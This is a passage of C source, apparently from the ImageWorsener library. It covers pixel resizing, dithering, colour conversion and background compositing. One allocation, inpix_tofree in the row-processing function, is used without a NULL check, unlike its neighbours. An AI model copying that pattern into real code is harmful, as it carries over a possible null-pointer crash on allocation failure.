Just choose closest value. if(d_ceil<=d_floor) s_full=s_cvt_ceil_full; else s_full=s_cvt_floor_full; } else if(ditherfamily==IW_DITHERFAMILY_ERRDIFF) { if(d_ceil<=d_floor) { // Ceiling is closer. This pixel will be lighter than ideal. // so the error is negative, to make other pixels darker. iw_errdiff_dither(ctx,ctx->img2_ci[channel].dithersubtype,-d_ceil,x,y); s_full=s_cvt_ceil_full; } else { iw_errdiff_dither(ctx,ctx->img2_ci[channel].dithersubtype,d_floor,x,y); s_full=s_cvt_floor_full; } } else if(ditherfamily==IW_DITHERFAMILY_ORDERED) { dd=iw_ordered_dither(ctx->img2_ci[channel].dithersubtype, d_floor/(d_floor+d_ceil),x,y); s_full = dd ? s_cvt_ceil_full : s_cvt_floor_full; } else if(ditherfamily==IW_DITHERFAMILY_RANDOM) { dd=iw_random_dither(ctx,d_floor/(d_floor+d_ceil),x,y,ctx->img2_ci[channel].dithersubtype,channel); s_full = dd ? s_cvt_ceil_full : s_cvt_floor_full; } else { // Unsupported dither method. s_full = 0.0; } okay: put_raw_sample(ctx,s_full,x,y,channel); } // A stripped-down version of put_sample_convert_from_linear(), // intended for use with background colors. static unsigned int calc_sample_convert_from_linear(struct iw_context *ctx, iw_tmpsample samp_lin, const struct iw_csdescr *csdescr, double overall_maxcolorcode) { double s_lin_floor_1, s_lin_ceil_1; double s_cvt_floor_full, s_cvt_ceil_full; double d_floor, d_ceil; int is_exact; double s_full; if(samp_lin<0.0) samp_lin=0.0; if(samp_lin>1.0) samp_lin=1.0; is_exact = get_nearest_valid_colors(ctx,samp_lin,csdescr, &s_lin_floor_1, &s_lin_ceil_1, &s_cvt_floor_full, &s_cvt_ceil_full, overall_maxcolorcode, 0); if(is_exact) { s_full = s_cvt_floor_full; goto okay; } d_floor = samp_lin-s_lin_floor_1; d_ceil = s_lin_ceil_1-samp_lin; if(d_ceil<=d_floor) s_full=s_cvt_ceil_full; else s_full=s_cvt_floor_full; okay: return (unsigned int)(0.5+s_full); } static void clamp_output_samples(struct iw_context *ctx, iw_tmpsample *out_pix, int num_out_pix) { int i; for(i=0;i<num_out_pix;i++) { if(out_pix[i]<0.0) out_pix[i]=0.0; else if(out_pix[i]>1.0) out_pix[i]=1.0; } } // TODO: Maybe this should be a flag in ctx, instead of a function that is // called repeatedly. static int iw_bkgd_has_transparency(struct iw_context *ctx) { if(!ctx->apply_bkgd) return 0; if(!(ctx->output_profile&IW_PROFILE_TRANSPARENCY)) return 0; if(ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_EARLY) return 0; if(ctx->bkgd_color_source==IW_BKGD_COLOR_SOURCE_FILE) { if(ctx->img1_bkgd_label_inputcs.c[3]<1.0) return 1; } else if(ctx->bkgd_color_source==IW_BKGD_COLOR_SOURCE_REQ) { if(ctx->bkgd_checkerboard) { if(ctx->req.bkgd2.c[3]<1.0) return 1; } if(ctx->req.bkgd.c[3]<1.0) return 1; } return 0; } // 'channel' is an intermediate channel number. static int iw_process_cols_to_intermediate(struct iw_context *ctx, int channel, const struct iw_csdescr *in_csdescr) { int i,j; int retval=0; iw_tmpsample tmp_alpha; iw_tmpsample *inpix_tofree = NULL; iw_tmpsample *outpix_tofree = NULL; int is_alpha_channel; struct iw_resize_settings *rs = NULL; struct iw_channelinfo_intermed *int_ci; iw_tmpsample *in_pix; iw_tmpsample *out_pix; int num_in_pix; int num_out_pix; int_ci = &ctx->intermed_ci[channel]; is_alpha_channel = (int_ci->channeltype==IW_CHANNELTYPE_ALPHA); num_in_pix = ctx->input_h; inpix_tofree = (iw_tmpsample*)iw_malloc(ctx, num_in_pix * sizeof(iw_tmpsample)); if(!inpix_tofree) goto done; in_pix = inpix_tofree; num_out_pix = ctx->intermed_canvas_height; outpix_tofree = (iw_tmpsample*)iw_malloc(ctx, num_out_pix * sizeof(iw_tmpsample)); if(!outpix_tofree) goto done; out_pix = outpix_tofree; rs=&ctx->resize_settings[IW_DIMENSION_V]; // If the resize context for this dimension already exists, we should be // able to reuse it. Otherwise, create a new one. if(!rs->rrctx) { // TODO: The use of the word "rows" here is misleading, because we are // actually resizing columns. rs->rrctx = iwpvt_resize_rows_init(ctx,rs,int_ci->channeltype, num_in_pix, num_out_pix); if(!rs->rrctx) goto done; } for(i=0;i<ctx->input_w;i++) { // Read a column of pixels into ctx->in_pix for(j=0;j<ctx->input_h;j++) { in_pix[j] = get_sample_cvt_to_linear(ctx,i,j,channel,in_csdescr); if(int_ci->need_unassoc_alpha_processing) { // We need opacity information also tmp_alpha = get_raw_sample(ctx,i,j,ctx->img1_alpha_channel_index); // Multiply color amount by opacity in_pix[j] *= tmp_alpha; } else if(ctx->apply_bkgd && ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_EARLY) { // We're doing "Early" background color application. // All intermediate channels will need the background color // applied to them. tmp_alpha = get_raw_sample(ctx,i,j,ctx->img1_alpha_channel_index); in_pix[j] = (tmp_alpha)*(in_pix[j]) + (1.0-tmp_alpha)*(int_ci->bkgd_color_lin); } } // Now we have a row in the right format. // Resize it and store it in the right place in the intermediate array. iwpvt_resize_row_main(rs->rrctx,in_pix,out_pix); if(ctx->intclamp) clamp_output_samples(ctx,out_pix,num_out_pix); // The intermediate pixels are in ctx->out_pix. Copy them to the intermediate array. for(j=0;j<ctx->intermed_canvas_height;j++) { if(is_alpha_channel) { ctx->intermediate_alpha32[((size_t)j)*ctx->intermed_canvas_width + i] = (iw_float32)out_pix[j]; } else { ctx->intermediate32[((size_t)j)*ctx->intermed_canvas_width + i] = (iw_float32)out_pix[j]; } } } retval=1; done: if(rs && rs->disable_rrctx_cache && rs->rrctx) { // In some cases, the channels may need different resize contexts. // Delete the current context, so that it doesn't get reused. iwpvt_resize_rows_done(rs->rrctx); rs->rrctx = NULL; } if(inpix_tofree) iw_free(ctx,inpix_tofree); if(outpix_tofree) iw_free(ctx,outpix_tofree); return retval; } // 'handle_alpha_flag' must be set if an alpha channel exists and this is not // the alpha channel. static int iw_process_rows_intermediate_to_final(struct iw_context *ctx, int intermed_channel, const struct iw_csdescr *out_csdescr) { int i,j; int z; int k; int retval=0; iw_tmpsample tmpsamp; iw_tmpsample alphasamp = 0.0; iw_tmpsample *inpix_tofree = NULL; // Used if we need a separate temp buffer for input samples iw_tmpsample *outpix_tofree = NULL; // Used if we need a separate temp buffer for output samples // Do any of the output channels use error-diffusion dithering? int using_errdiffdither = 0; int output_channel; int is_alpha_channel; int bkgd_has_transparency; double tmpbkgdalpha=0.0; int alt_bkgd = 0; // Nonzero if we should use bkgd2 for this sample struct iw_resize_settings *rs = NULL; int ditherfamily, dithersubtype; struct iw_channelinfo_intermed *int_ci; struct iw_channelinfo_out *out_ci; iw_tmpsample *in_pix = NULL; iw_tmpsample *out_pix = NULL; int num_in_pix; int num_out_pix; num_in_pix = ctx->intermed_canvas_width; num_out_pix = ctx->img2.width; int_ci = &ctx->intermed_ci[intermed_channel]; output_channel = int_ci->corresponding_output_channel; out_ci = &ctx->img2_ci[output_channel]; is_alpha_channel = (int_ci->channeltype==IW_CHANNELTYPE_ALPHA); bkgd_has_transparency = iw_bkgd_has_transparency(ctx); inpix_tofree = (iw_tmpsample*)iw_malloc(ctx, num_in_pix * sizeof(iw_tmpsample)); in_pix = inpix_tofree; // We need an output buffer. outpix_tofree = (iw_tmpsample*)iw_malloc(ctx, num_out_pix * sizeof(iw_tmpsample)); if(!outpix_tofree) goto done; out_pix = outpix_tofree; // Decide if the 'nearest color table' optimization can be used if(ctx->nearest_color_table && !is_alpha_channel && out_ci->ditherfamily==IW_DITHERFAMILY_NONE && out_ci->color_count==0) { out_ci->use_nearest_color_table = 1; } else { out_ci->use_nearest_color_table = 0; } // Seed the PRNG, if necessary. ditherfamily = out_ci->ditherfamily; dithersubtype = out_ci->dithersubtype; if(ditherfamily==IW_DITHERFAMILY_RANDOM) { // Decide what random seed to use. The alpha channel always has its own // seed. If using "r" (not "r2") dithering, every channel has its own seed. if(dithersubtype==IW_DITHERSUBTYPE_SAMEPATTERN && out_ci->channeltype!=IW_CHANNELTYPE_ALPHA) { iwpvt_prng_set_random_seed(ctx->prng,ctx->random_seed); } else { iwpvt_prng_set_random_seed(ctx->prng,ctx->random_seed+out_ci->channeltype); } } // Initialize Floyd-Steinberg dithering. if(output_channel>=0 && out_ci->ditherfamily==IW_DITHERFAMILY_ERRDIFF) { using_errdiffdither = 1; for(i=0;i<ctx->img2.width;i++) { for(k=0;k<IW_DITHER_MAXROWS;k++) { ctx->dither_errors[k][i] = 0.0; } } } rs=&ctx->resize_settings[IW_DIMENSION_H]; // If the resize context for this dimension already exists, we should be // able to reuse it. Otherwise, create a new one. if(!rs->rrctx) { rs->rrctx = iwpvt_resize_rows_init(ctx,rs,int_ci->channeltype, num_in_pix, num_out_pix); if(!rs->rrctx) goto done; } for(j=0;j<ctx->intermed_canvas_height;j++) { // As needed, either copy the input pixels to a temp buffer (inpix, which // ctx->in_pix already points to), or point ctx->in_pix directly to the // intermediate data. if(is_alpha_channel) { for(i=0;i<num_in_pix;i++) { inpix_tofree[i] = ctx->intermediate_alpha32[((size_t)j)*ctx->intermed_canvas_width+i]; } } else { for(i=0;i<num_in_pix;i++) { inpix_tofree[i] = ctx->intermediate32[((size_t)j)*ctx->intermed_canvas_width+i]; } } // Resize ctx->in_pix to ctx->out_pix. iwpvt_resize_row_main(rs->rrctx,in_pix,out_pix); if(ctx->intclamp) clamp_output_samples(ctx,out_pix,num_out_pix); // If necessary, copy the resized samples to the final_alpha image if(is_alpha_channel && outpix_tofree && ctx->final_alpha32) { for(i=0;i<num_out_pix;i++) { ctx->final_alpha32[((size_t)j)*ctx->img2.width+i] = (iw_float32)outpix_tofree[i]; } } // Now convert the out_pix and put them in the final image. if(output_channel == -1) { // No corresponding output channel. // (Presumably because this is an alpha channel that's being // removed because we're applying a background.) goto here; } for(z=0;z<ctx->img2.width;z++) { // For decent Floyd-Steinberg dithering, we need to process alternate // rows in reverse order. if(using_errdiffdither && (j%2)) i=ctx->img2.width-1-z; else i=z; tmpsamp = out_pix[i]; if(ctx->bkgd_checkerboard) { alt_bkgd = (((ctx->bkgd_check_origin[IW_DIMENSION_H]+i)/ctx->bkgd_check_size)%2) != (((ctx->bkgd_check_origin[IW_DIMENSION_V]+j)/ctx->bkgd_check_size)%2); } if(bkgd_has_transparency) { tmpbkgdalpha = alt_bkgd ? ctx->bkgd2alpha : ctx->bkgd1alpha; } if(int_ci->need_unassoc_alpha_processing) { // Convert color samples back to unassociated alpha. alphasamp = ctx->final_alpha32[((size_t)j)*ctx->img2.width + i]; if(alphasamp!=0.0) { tmpsamp /= alphasamp; } if(ctx->apply_bkgd && ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_LATE) { // Apply a background color (or checkerboard pattern). double bkcolor; bkcolor = alt_bkgd ? out_ci->bkgd2_color_lin : out_ci->bkgd1_color_lin; if(bkgd_has_transparency) { tmpsamp = tmpsamp*alphasamp + bkcolor*tmpbkgdalpha*(1.0-alphasamp); } else { tmpsamp = tmpsamp*alphasamp + bkcolor*(1.0-alphasamp); } } } else if(is_alpha_channel && bkgd_has_transparency) { // Composite the alpha of the foreground over the alpha of the background. tmpsamp = tmpsamp + tmpbkgdalpha*(1.0-tmpsamp); } if(ctx->img2.sampletype==IW_SAMPLETYPE_FLOATINGPOINT) put_sample_convert_from_linear_flt(ctx,tmpsamp,i,j,output_channel,out_csdescr); else put_sample_convert_from_linear(ctx,tmpsamp,i,j,output_channel,out_csdescr); } if(using_errdiffdither) { // Move "next row" error data to "this row", and clear the "next row". // TODO: Obviously, it would be more efficient to just swap pointers // to the rows. for(i=0;i<ctx->img2.width;i++) { // Move data in all rows but the first row up one row. for(k=0;k<IW_DITHER_MAXROWS-1;k++) { ctx->dither_errors[k][i] = ctx->dither_errors[k+1][i]; } // Clear the last row. ctx->dither_errors[IW_DITHER_MAXROWS-1][i] = 0.0; } } here: ; } retval=1; done: if(rs && rs->disable_rrctx_cache && rs->rrctx) { // In some cases, the channels may need different resize contexts. // Delete the current context, so that it doesn't get reused. iwpvt_resize_rows_done(rs->rrctx); rs->rrctx = NULL; } if(inpix_tofree) iw_free(ctx,inpix_tofree); if(outpix_tofree) iw_free(ctx,outpix_tofree); return retval; } static int iw_process_one_channel(struct iw_context *ctx, int intermed_channel, const struct iw_csdescr *in_csdescr, const struct iw_csdescr *out_csdescr) { if(!iw_process_cols_to_intermediate(ctx,intermed_channel,in_csdescr)) { return 0; } if(!iw_process_rows_intermediate_to_final(ctx,intermed_channel,out_csdescr)) { return 0; } return 1; } // Potentially make a lookup table for color correction. static void iw_make_x_to_linear_table(struct iw_context *ctx, double **ptable, const struct iw_image *img, const struct iw_csdescr *csdescr) { int ncolors; int i; double *tbl; if(csdescr->cstype==IW_CSTYPE_LINEAR) return; ncolors = (1 << img->bit_depth); if(ncolors>256) return; // Don't make a table if the image is really small. if( ((size_t)img->width)*img->height <= 512 ) return; tbl = iw_malloc(ctx,ncolors*sizeof(double)); if(!tbl) return; for(i=0;i<ncolors;i++) { tbl[i] = x_to_linear_sample(((double)i)/(ncolors-1), csdescr); } *ptable = tbl; } static void iw_make_nearest_color_table(struct iw_context *ctx, double **ptable, const struct iw_image *img, const struct iw_csdescr *csdescr) { int ncolors; int nentries; int i; double *tbl; double prev; double curr; if(ctx->no_gamma) return; if(csdescr->cstype==IW_CSTYPE_LINEAR) return; if(img->sampletype==IW_SAMPLETYPE_FLOATINGPOINT) return; if(img->bit_depth != ctx->img2.bit_depth) return; ncolors = (1 << img->bit_depth); if(ncolors>256) return; nentries = ncolors-1; // Don't make a table if the image is really small. if( ((size_t)img->width)*img->height <= 512 ) return; tbl = iw_malloc(ctx,nentries*sizeof(double)); if(!tbl) return; // Table stores the maximum value for the given entry. // The final entry is omitted, since there is no maximum value. prev = 0.0; for(i=0;i<nentries;i++) { // This conversion may appear to be going in the wrong direction // (we're coverting *from* linear), but it's correct because we will // search through its contents to find the corresponding index, // instead of vice versa. curr = x_to_linear_sample( ((double)(i+1))/(ncolors-1), csdescr); tbl[i] = (prev + curr)/2.0; prev = curr; } *ptable = tbl; } // Label is returned in linear colorspace. // Returns 0 if no label available. static int get_output_bkgd_label_lin(struct iw_context *ctx, struct iw_color *clr) { clr->c[0] = 1.0; clr->c[1] = 0.0; clr->c[2] = 1.0; clr->c[3] = 1.0; if(ctx->req.suppress_output_bkgd_label) return 0; if(ctx->req.output_bkgd_label_valid) { *clr = ctx->req.output_bkgd_label; return 1; } // If the user didn't specify a label, but the input file had one, copy the // input file's label. if(ctx->img1_bkgd_label_set) { *clr = ctx->img1_bkgd_label_lin; return 1; } return 0; } static unsigned int iw_scale_to_int(double s, unsigned int maxcolor) { if(s<=0.0) return 0; if(s>=1.0) return maxcolor; return (unsigned int)(0.5+s*maxcolor); } // Quantize the background color label, and store in ctx->img2.bkgdlabel. // Also convert it to grayscale if needed. static void iw_process_bkgd_label(struct iw_context *ctx) { int ret; int k; struct iw_color clr; double maxcolor; unsigned int tmpu; if(!(ctx->output_profile&IW_PROFILE_PNG_BKGD) && !(ctx->output_profile&IW_PROFILE_RGB8_BKGD) && !(ctx->output_profile&IW_PROFILE_RGB16_BKGD)) { return; } ret = get_output_bkgd_label_lin(ctx,&clr); if(!ret) return; if(ctx->to_grayscale) { iw_tmpsample g; g = iw_color_to_grayscale(ctx, clr.c[0], clr.c[1], clr.c[2]); clr.c[0] = clr.c[1] = clr.c[2] = g; } if(ctx->output_profile&IW_PROFILE_RGB8_BKGD) { maxcolor=255.0; } else if(ctx->output_profile&IW_PROFILE_RGB16_BKGD) { maxcolor=65535.0; } else if(ctx->img2.bit_depth==8) { maxcolor=255.0; } else if(ctx->img2.bit_depth==16) { maxcolor=65535.0; } else { return; } // Although the bkgd label is stored as floating point, we're responsible for // making sure that, when scaled and rounded to a format suitable for the output // format, it will be the correct color. for(k=0;k<3;k++) { tmpu = calc_sample_convert_from_linear(ctx, clr.c[k], &ctx->img2cs, maxcolor); ctx->img2.bkgdlabel.c[k] = ((double)tmpu)/maxcolor; } // Alpha sample tmpu = iw_scale_to_int(clr.c[3],(unsigned int)maxcolor); ctx->img2.bkgdlabel.c[3] = ((double)tmpu)/maxcolor; ctx->img2.has_bkgdlabel = 1; } static void negate_target_image(struct iw_context *ctx) { int channel; struct iw_channelinfo_out *ci; int i,j; size_t pos; iw_float32 s; unsigned int n; for(channel=0; channel<ctx->img2_numchannels; channel++) { ci = &ctx->img2_ci[channel]; if(ci->channeltype == IW_CHANNELTYPE_ALPHA) continue; // Don't negate alpha channels if(ctx->img2.sampletype==IW_SAMPLETYPE_FLOATINGPOINT) { for(j=0; j<ctx->img2.height; j++) { for(i=0; i<ctx->img2.width; i++) { pos = j*ctx->img2.bpr + ctx->img2_numchannels*i*4 + channel*4; s = iw_get_float32(&ctx->img2.pixels[pos]); iw_put_float32(&ctx->img2.pixels[pos], ((iw_float32)1.0)-s); } } } else if(ctx->img2.bit_depth==8) { for(j=0; j<ctx->img2.height; j++) { for(i=0; i<ctx->img2.width; i++) { pos = j*ctx->img2.bpr + ctx->img2_numchannels*i + channel; ctx->img2.pixels[pos] = ci->maxcolorcode_int-ctx->img2.pixels[pos]; } } } else if(ctx->img2.bit_depth==16) { for(j=0; j<ctx->img2.height; j++) { for(i=0; i<ctx->img2.width; i++) { pos = j*ctx->img2.bpr + ctx->img2_numchannels*i*2 + channel*2; n = ctx->img2.pixels[pos]*256 + ctx->img2.pixels[pos+1]; n = ci->maxcolorcode_int - n; ctx->img2.pixels[pos] = (n&0xff00)>>8; ctx->img2.pixels[pos+1] = n&0x00ff; } } } } } static int iw_process_internal(struct iw_context *ctx) { int channel; int retval=0; int i,k; int ret; // A linear color-correction descriptor to use with alpha channels. struct iw_csdescr csdescr_linear; ctx->intermediate32=NULL; ctx->intermediate_alpha32=NULL; ctx->final_alpha32=NULL; ctx->intermed_canvas_width = ctx->input_w; ctx->intermed_canvas_height = ctx->img2.height; iw_make_linear_csdescr(&csdescr_linear); ctx->img2.bpr = iw_calc_bytesperrow(ctx->img2.width,ctx->img2.bit_depth*ctx->img2_numchannels); ctx->img2.pixels = iw_malloc_large(ctx, ctx->img2.bpr, ctx->img2.height); if(!ctx->img2.pixels) { goto done; } ctx->intermediate32 = (iw_float32*)iw_malloc_large(ctx, ctx->intermed_canvas_width * ctx->intermed_canvas_height, sizeof(iw_float32)); if(!ctx->intermediate32) { goto done; } if(ctx->uses_errdiffdither) { for(k=0;k<IW_DITHER_MAXROWS;k++) { ctx->dither_errors[k] = (double*)iw_malloc(ctx, ctx->img2.width * sizeof(double)); if(!ctx->dither_errors[k]) goto done; } } if(!ctx->disable_output_lookup_tables) { iw_make_x_to_linear_table(ctx,&ctx->output_rev_color_corr_table,&ctx->img2,&ctx->img2cs); iw_make_nearest_color_table(ctx,&ctx->nearest_color_table,&ctx->img2,&ctx->img2cs); } // If an alpha channel is present, we have to process it first. if(IW_IMGTYPE_HAS_ALPHA(ctx->intermed_imgtype)) { ctx->intermediate_alpha32 = (iw_float32*)iw_malloc_large(ctx, ctx->intermed_canvas_width * ctx->intermed_canvas_height, sizeof(iw_float32)); if(!ctx->intermediate_alpha32) { goto done; } ctx->final_alpha32 = (iw_float32*)iw_malloc_large(ctx, ctx->img2.width * ctx->img2.height, sizeof(iw_float32)); if(!ctx->final_alpha32) { goto done; } if(!iw_process_one_channel(ctx,ctx->intermed_alpha_channel_index,&csdescr_linear,&csdescr_linear)) goto done; } // Process the non-alpha channels. for(channel=0;channel<ctx->intermed_numchannels;channel++) { if(ctx->intermed_ci[channel].channeltype!=IW_CHANNELTYPE_ALPHA) { if(ctx->no_gamma) ret=iw_process_one_channel(ctx,channel,&csdescr_linear,&csdescr_linear); else ret=iw_process_one_channel(ctx,channel,&ctx->img1cs,&ctx->img2cs); if(!ret) goto done; } } iw_process_bkgd_label(ctx); if(ctx->req.negate_target) { negate_target_image(ctx); } retval=1; done: if(ctx->intermediate32) { iw_free(ctx,ctx->intermediate32); ctx->intermediate32=NULL; } if(ctx->intermediate_alpha32) { iw_free(ctx,ctx->intermediate_alpha32); ctx->intermediate_alpha32=NULL; } if(ctx->final_alpha32) { iw_free(ctx,ctx->final_alpha32); ctx->final_alpha32=NULL; } for(k=0;k<IW_DITHER_MAXROWS;k++) { if(ctx->dither_errors[k]) { iw_free(ctx,ctx->dither_errors[k]); ctx->dither_errors[k]=NULL; } } // The 'resize contexts' are usually kept around so that they can be reused. // Now that we're done with everything, free them. for(i=0;i<2;i++) { // horizontal, vertical if(ctx->resize_settings[i].rrctx) { iwpvt_resize_rows_done(ctx->resize_settings[i].rrctx); ctx->resize_settings[i].rrctx = NULL; } } return retval; } static int iw_get_channeltype(int imgtype, int channel) { switch(imgtype) { case IW_IMGTYPE_GRAY: if(channel==0) return IW_CHANNELTYPE_GRAY; break; case IW_IMGTYPE_GRAYA: if(channel==0) return IW_CHANNELTYPE_GRAY; if(channel==1) return IW_CHANNELTYPE_ALPHA; break; case IW_IMGTYPE_RGB: if(channel==0) return IW_CHANNELTYPE_RED; if(channel==1) return IW_CHANNELTYPE_GREEN; if(channel==2) return IW_CHANNELTYPE_BLUE; break; case IW_IMGTYPE_RGBA: if(channel==0) return IW_CHANNELTYPE_RED; if(channel==1) return IW_CHANNELTYPE_GREEN; if(channel==2) return IW_CHANNELTYPE_BLUE; if(channel==3) return IW_CHANNELTYPE_ALPHA; break; } return 0; } static void iw_set_input_channeltypes(struct iw_context *ctx) { int i; for(i=0;i<ctx->img1_numchannels_logical;i++) { ctx->img1_ci[i].channeltype = iw_get_channeltype(ctx->img1_imgtype_logical,i); } } static void iw_set_intermed_channeltypes(struct iw_context *ctx) { int i; for(i=0;i<ctx->intermed_numchannels;i++) { ctx->intermed_ci[i].channeltype = iw_get_channeltype(ctx->intermed_imgtype,i); } } static void iw_set_out_channeltypes(struct iw_context *ctx) { int i; for(i=0;i<ctx->img2_numchannels;i++) { ctx->img2_ci[i].channeltype = iw_get_channeltype(ctx->img2.imgtype,i); } } // Set img2.bit_depth based on output_depth_req, etc. // Set img2.sampletype. static void decide_output_bit_depth(struct iw_context *ctx) { if(ctx->output_profile&IW_PROFILE_HDRI) { ctx->img2.sampletype=IW_SAMPLETYPE_FLOATINGPOINT; } else { ctx->img2.sampletype=IW_SAMPLETYPE_UINT; } if(ctx->img2.sampletype==IW_SAMPLETYPE_FLOATINGPOINT) { // Floating point output. ctx->img2.bit_depth=32; return; } // Below this point, sample type is UINT. if(ctx->req.output_depth>8 && (ctx->output_profile&IW_PROFILE_16BPS)) { ctx->img2.bit_depth=16; } else { if(ctx->req.output_depth>8) { // Caller requested a depth higher than this format can handle. iw_warning(ctx,"Reducing depth to 8; required by the output format."); } ctx->img2.bit_depth=8; } } // Set the background color samples that will be used when processing the // image. (All the logic about how to apply a background color is in // decide_how_to_apply_bkgd(), not here.) static void prepare_apply_bkgd(struct iw_context *ctx) { struct iw_color bkgd1; // Main background color in linear colorspace struct iw_color bkgd2; // Secondary background color ... int i; if(!ctx->apply_bkgd) return; // Start with a default background color. bkgd1.c[0]=1.0; bkgd1.c[1]=0.0; bkgd1.c[2]=1.0; bkgd1.c[3]=1.0; bkgd2.c[0]=0.0; bkgd2.c[1]=0.0; bkgd2.c[2]=0.0; bkgd2.c[3]=1.0; // Possibly overwrite it with the background color from the appropriate // source. if(ctx->bkgd_color_source == IW_BKGD_COLOR_SOURCE_FILE) { bkgd1 = ctx->img1_bkgd_label_lin; // sructure copy ctx->bkgd_checkerboard = 0; } else if(ctx->bkgd_color_source == IW_BKGD_COLOR_SOURCE_REQ) { bkgd1 = ctx->req.bkgd; if(ctx->req.bkgd_checkerboard) { bkgd2 = ctx->req.bkgd2; } } // Set up the channelinfo (and ctx->bkgd*alpha) as needed according to the // target image type, and whether we are applying the background before or // after resizing. if(ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_EARLY) { ctx->bkgd1alpha = 1.0; } else { ctx->bkgd1alpha = bkgd1.c[3]; ctx->bkgd2alpha = bkgd2.c[3]; } if(ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_LATE && (ctx->img2.imgtype==IW_IMGTYPE_RGB || ctx->img2.imgtype==IW_IMGTYPE_RGBA)) { for(i=0;i<3;i++) { ctx->img2_ci[i].bkgd1_color_lin = bkgd1.c[i]; } if(ctx->bkgd_checkerboard) { for(i=0;i<3;i++) { ctx->img2_ci[i].bkgd2_color_lin = bkgd2.c[i]; } } } else if(ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_LATE && (ctx->img2.imgtype==IW_IMGTYPE_GRAY || ctx->img2.imgtype==IW_IMGTYPE_GRAYA)) { ctx->img2_ci[0].bkgd1_color_lin = iw_color_to_grayscale(ctx,bkgd1.c[0],bkgd1.c[1],bkgd1.c[2]); if(ctx->bkgd_checkerboard) { ctx->img2_ci[0].bkgd2_color_lin = iw_color_to_grayscale(ctx,bkgd2.c[0],bkgd2.c[1],bkgd2.c[2]); } } else if(ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_EARLY && ctx->img2.imgtype==IW_IMGTYPE_RGB) { for(i=0;i<3;i++) { ctx->intermed_ci[i].bkgd_color_lin = bkgd1.c[i]; } } else if(ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_EARLY && ctx->img2.imgtype==IW_IMGTYPE_GRAY) { ctx->intermed_ci[0].bkgd_color_lin = iw_color_to_grayscale(ctx,bkgd1.c[0],bkgd1.c[1],bkgd1.c[2]); } } #define IW_STRAT1_G_G 0x011 // -grayscale #define IW_STRAT1_G_RGB 0x013 // default #define IW_STRAT1_GA_G 0x021 // -grayscale, BKGD_STRATEGY_EARLY (never happens?) #define IW_STRAT1_GA_GA 0x022 // -grayscale #define IW_STRAT1_GA_RGB 0x023 // BKGD_STRATEGY_EARLY #define IW_STRAT1_GA_RGBA 0x024 // default #define IW_STRAT1_RGB_G 0x031 // -grayscale #define IW_STRAT1_RGB_RGB 0x033 // default #define IW_STRAT1_RGBA_G 0x041 // -grayscale, BKGD_STRATEGY_EARLY (never happens?) #define IW_STRAT1_RGBA_GA 0x042 // -grayscale #define IW_STRAT1_RGBA_RGB 0x043 // BKGD_STRATEGY_EARLY #define IW_STRAT1_RGBA_RGBA 0x044 // default #define IW_STRAT2_G_G 0x111 // -grayscale #define IW_STRAT2_GA_G 0x121 // -grayscale, BKGD_STRATEGY_LATE #define IW_STRAT2_GA_GA 0x122 // -grayscale #define IW_STRAT2_RGB_RGB 0x133 // default #define IW_STRAT2_RGBA_RGB 0x143 // BKGD_STRATEGY_LATE #define IW_STRAT2_RGBA_RGBA 0x144 // default static void iw_restrict_to_range(int r1, int r2, int *pvar) { if(*pvar < r1) *pvar = r1; else if(*pvar > r2) *pvar = r2; } static void decide_strategy(struct iw_context *ctx, int *ps1, int *ps2) { int s1, s2; // Start with a default strategy switch(ctx->img1_imgtype_logical) { case IW_IMGTYPE_RGBA: if(ctx->to_grayscale) { s1=IW_STRAT1_RGBA_GA; s2=IW_STRAT2_GA_GA; } else { s1=IW_STRAT1_RGBA_RGBA; s2=IW_STRAT2_RGBA_RGBA; } break; case IW_IMGTYPE_RGB: if(ctx->to_grayscale) { s1=IW_STRAT1_RGB_G; s2=IW_STRAT2_G_G; } else { s1=IW_STRAT1_RGB_RGB; s2=IW_STRAT2_RGB_RGB; } break; case IW_IMGTYPE_GRAYA: if(ctx->to_grayscale) { s1=IW_STRAT1_GA_GA; s2=IW_STRAT2_GA_GA; } else { s1=IW_STRAT1_GA_RGBA; s2=IW_STRAT2_RGBA_RGBA; } break; default: if(ctx->to_grayscale) { s1=IW_STRAT1_G_G; s2=IW_STRAT2_G_G; } else { s1=IW_STRAT1_G_RGB; s2=IW_STRAT2_RGB_RGB; } } if(ctx->apply_bkgd && ctx->apply_bkgd_strategy==IW_BKGD_STRATEGY_EARLY) { // Applying background before resizing if(s1==IW_STRAT1_RGBA_RGBA) { s1=IW_STRAT1_RGBA_RGB; s2=IW_STRAT2_RGB_RGB; } else if(s1==IW_STRAT1_GA_GA) { s1=IW_STRAT1_GA_G; s2=IW_STRAT2_G_G; } else if(s1==IW_STRAT1_GA_RGBA) { s1=IW_STRAT1_GA_RGB; s2=IW_STRAT2_RGB_RGB; } else if(s1==IW_STRAT1_RGBA_GA) { s1=IW_STRAT1_RGBA_G; s2=IW_STRAT2_G_G; } } if(ctx->apply_bkgd && !iw_bkgd_has_transparency(ctx)) { if(s2==IW_STRAT2_GA_GA) { s2=IW_STRAT2_GA_G; } else if(s2==IW_STRAT2_RGBA_RGBA) { s2=IW_STRAT2_RGBA_RGB; } } *ps1 = s1; *ps2 = s2; } // Choose our strategy for applying a background to the image. // Uses: // - ctx->img1_imgtype_logical (set by init_channel_info()) // - ctx->req.bkgd_valid (was background set by caller?) // - ctx->req.bkgd_checkerboard (set by caller) // - ctx->bkgd_check_size (set by caller) // - ctx->resize_settings[d].use_offset // Sets: // - ctx->apply_bkgd (flag indicating whether we'll apply a background) // - ctx->apply_bkgd_strategy (flag indicating *when* we'll apply a background) // - ctx->bkgd_color_source (where to get the background color) // - ctx->bkgd_checkerboard // - ctx->bkgd_check_size (sanitized) // May emit a warning if the caller's settings can't be honored. static void decide_how_to_apply_bkgd(struct iw_context *ctx) { if(!IW_IMGTYPE_HAS_ALPHA(ctx->img1_imgtype_logical)) { // If we know the image does not have any transparency, // we don't have to do anything. ctx->apply_bkgd=0; return; } // Figure out where to get the background color from, on the assumption // that we'll use one. if(ctx->img1_bkgd_label_set && (ctx->req.use_bkgd_label_from_file || !ctx->req.bkgd_valid)) { // The input file has a background color label, and either we are // requested to prefer it to the caller's background color, or // the caller did not give us a background color. // Use the color from the input file. ctx->bkgd_color_source = 